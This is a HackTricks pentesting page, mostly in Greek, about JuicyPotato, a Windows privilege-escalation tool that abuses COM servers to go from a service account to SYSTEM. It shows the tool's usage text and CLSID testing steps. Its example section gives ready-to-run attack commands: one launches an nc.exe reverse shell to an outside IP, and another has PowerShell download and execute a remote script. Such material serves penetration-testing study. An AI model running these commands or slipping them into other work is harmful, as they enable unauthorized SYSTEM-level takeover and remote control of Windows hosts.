15 KiB
JuicyPotato
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark-web και προσφέρει δωρεάν λειτουργίες για να ελέγξει αν μια εταιρεία ή οι πελάτες της έχουν παραβιαστεί από stealer malwares.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
{% hint style="warning" %}
Το JuicyPotato δεν λειτουργεί σε Windows Server 2019 και Windows 10 build 1809 και μετά. Ωστόσο, PrintSpoofer, RoguePotato, SharpEfsPotato μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν τα ίδια προνόμια και να αποκτήσουν πρόσβαση επιπέδου NT AUTHORITY\SYSTEM
. Ελέγξτε:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (κατάχρηση των χρυσών προνομίων)
Μια γλυκιά έκδοση του RottenPotatoNG, με λίγο χυμό, δηλαδή ένα άλλο εργαλείο Τοπικής Κλιμάκωσης Προνομίων, από Λογαριασμούς Υπηρεσιών Windows σε NT AUTHORITY\SYSTEM
Μπορείτε να κατεβάσετε το juicypotato από https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Περίληψη
RottenPotatoNG και οι παραλλαγές του εκμεταλλεύονται την αλυσίδα κλιμάκωσης προνομίων βασισμένη σε BITS
υπηρεσία που έχει τον MiTM listener στο 127.0.0.1:6666
και όταν έχετε SeImpersonate
ή SeAssignPrimaryToken
προνόμια. Κατά τη διάρκεια μιας ανασκόπησης build Windows βρήκαμε μια ρύθμιση όπου το BITS
είχε σκόπιμα απενεργοποιηθεί και η θύρα 6666
είχε καταληφθεί.
Αποφασίσαμε να οπλοποιήσουμε RottenPotatoNG: Πείτε γεια στο Juicy Potato.
Για τη θεωρία, δείτε Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM και ακολουθήστε την αλυσίδα των συνδέσμων και αναφορών.
Ανακαλύψαμε ότι, εκτός από το BITS
, υπάρχουν αρκετοί COM servers που μπορούμε να καταχραστούμε. Απλώς χρειάζεται να:
- είναι δυνατό να δημιουργηθούν από τον τρέχοντα χρήστη, συνήθως έναν “χρήστη υπηρεσίας” που έχει προνόμια αναπαράστασης
- να υλοποιούν τη διεπαφή
IMarshal
- να εκτελούνται ως ανυψωμένος χρήστης (SYSTEM, Administrator, …)
Μετά από κάποιες δοκιμές, αποκτήσαμε και δοκιμάσαμε μια εκτενή λίστα από ενδιαφέροντα CLSID’s σε πολλές εκδόσεις Windows.
Juicy λεπτομέρειες
Το JuicyPotato σας επιτρέπει να:
- Στόχος CLSID επιλέξτε οποιοδήποτε CLSID θέλετε. Εδώ μπορείτε να βρείτε τη λίστα οργανωμένη κατά OS.
- Θύρα Listening COM ορίστε τη θύρα listening COM που προτιμάτε (αντί της σκληροκωδικοποιημένης 6666)
- Διεύθυνση IP Listening COM δεσμεύστε τον διακομιστή σε οποιαδήποτε IP
- Λειτουργία δημιουργίας διεργασίας ανάλογα με τα προνόμια του αναπαριστώμενου χρήστη μπορείτε να επιλέξετε από:
CreateProcessWithToken
(χρειάζεταιSeImpersonate
)CreateProcessAsUser
(χρειάζεταιSeAssignPrimaryToken
)και τα δύο
- Διεργασία προς εκκίνηση εκκινήστε ένα εκτελέσιμο ή σενάριο αν η εκμετάλλευση είναι επιτυχής
- Επιχείρημα διεργασίας προσαρμόστε τα επιχειρήματα της εκκινούμενης διεργασίας
- Διεύθυνση RPC Server για μια κρυφή προσέγγιση μπορείτε να πιστοποιηθείτε σε έναν εξωτερικό διακομιστή RPC
- Θύρα RPC Server χρήσιμο αν θέλετε να πιστοποιηθείτε σε έναν εξωτερικό διακομιστή και το firewall μπλοκάρει τη θύρα
135
… - ΛΕΙΤΟΥΡΓΙΑ ΔΟΚΙΜΗΣ κυρίως για δοκιμαστικούς σκοπούς, δηλαδή δοκιμή CLSIDs. Δημιουργεί το DCOM και εκτυπώνει τον χρήστη του token. Δείτε εδώ για δοκιμή
Χρήση
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Τελικές σκέψεις
Εάν ο χρήστης έχει δικαιώματα SeImpersonate
ή SeAssignPrimaryToken
, τότε είστε SYSTEM.
Είναι σχεδόν αδύνατο να αποτραπεί η κακή χρήση όλων αυτών των COM Servers. Μπορείτε να σκεφτείτε να τροποποιήσετε τα δικαιώματα αυτών των αντικειμένων μέσω του DCOMCNFG
, αλλά καλή τύχη, αυτό θα είναι προκλητικό.
Η πραγματική λύση είναι να προστατεύσετε ευαίσθητους λογαριασμούς και εφαρμογές που εκτελούνται υπό τους λογαριασμούς * SERVICE
. Η διακοπή του DCOM
θα εμπόδιζε σίγουρα αυτή την εκμετάλλευση, αλλά θα μπορούσε να έχει σοβαρές επιπτώσεις στο υποκείμενο λειτουργικό σύστημα.
Από: http://ohpe.it/juicy-potato/
Παραδείγματα
Σημείωση: Επισκεφθείτε αυτή τη σελίδα για μια λίστα με CLSIDs για δοκιμή.
Πάρτε ένα nc.exe reverse shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Εκκίνηση νέου CMD (αν έχετε πρόσβαση RDP)
Προβλήματα CLSID
Συχνά, το προεπιλεγμένο CLSID που χρησιμοποιεί το JuicyPotato δεν λειτουργεί και η εκμετάλλευση αποτυγχάνει. Συνήθως, απαιτούνται πολλές προσπάθειες για να βρείτε ένα λειτουργικό CLSID. Για να αποκτήσετε μια λίστα με CLSIDs για να δοκιμάσετε για ένα συγκεκριμένο λειτουργικό σύστημα, θα πρέπει να επισκεφθείτε αυτή τη σελίδα:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Έλεγχος CLSIDs
Αρχικά, θα χρειαστείτε μερικά εκτελέσιμα αρχεία εκτός από το juicypotato.exe.
Κατεβάστε Join-Object.ps1 και φορτώστε το στη συνεδρία PS σας, και κατεβάστε και εκτελέστε GetCLSID.ps1. Αυτό το σενάριο θα δημιουργήσει μια λίστα με πιθανά CLSIDs για δοκιμή.
Στη συνέχεια, κατεβάστε test_clsid.bat (αλλάξτε τη διαδρομή στη λίστα CLSID και στο εκτελέσιμο juicypotato) και εκτελέστε το. Θα αρχίσει να δοκιμάζει κάθε CLSID, και όταν αλλάξει ο αριθμός θύρας, θα σημαίνει ότι το CLSID λειτούργησε.
Ελέγξτε τα λειτουργικά CLSIDs χρησιμοποιώντας την παράμετρο -c
Αναφορές
WhiteIntel
WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark-web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν παραβιαστεί από stealer malwares.
Ο κύριος στόχος του WhiteIntel είναι να καταπολεμήσει τις καταλήψεις λογαριασμών και τις επιθέσεις ransomware που προκύπτουν από κακόβουλο λογισμικό κλοπής πληροφοριών.
Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Υποστήριξη HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε 💬 στην ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.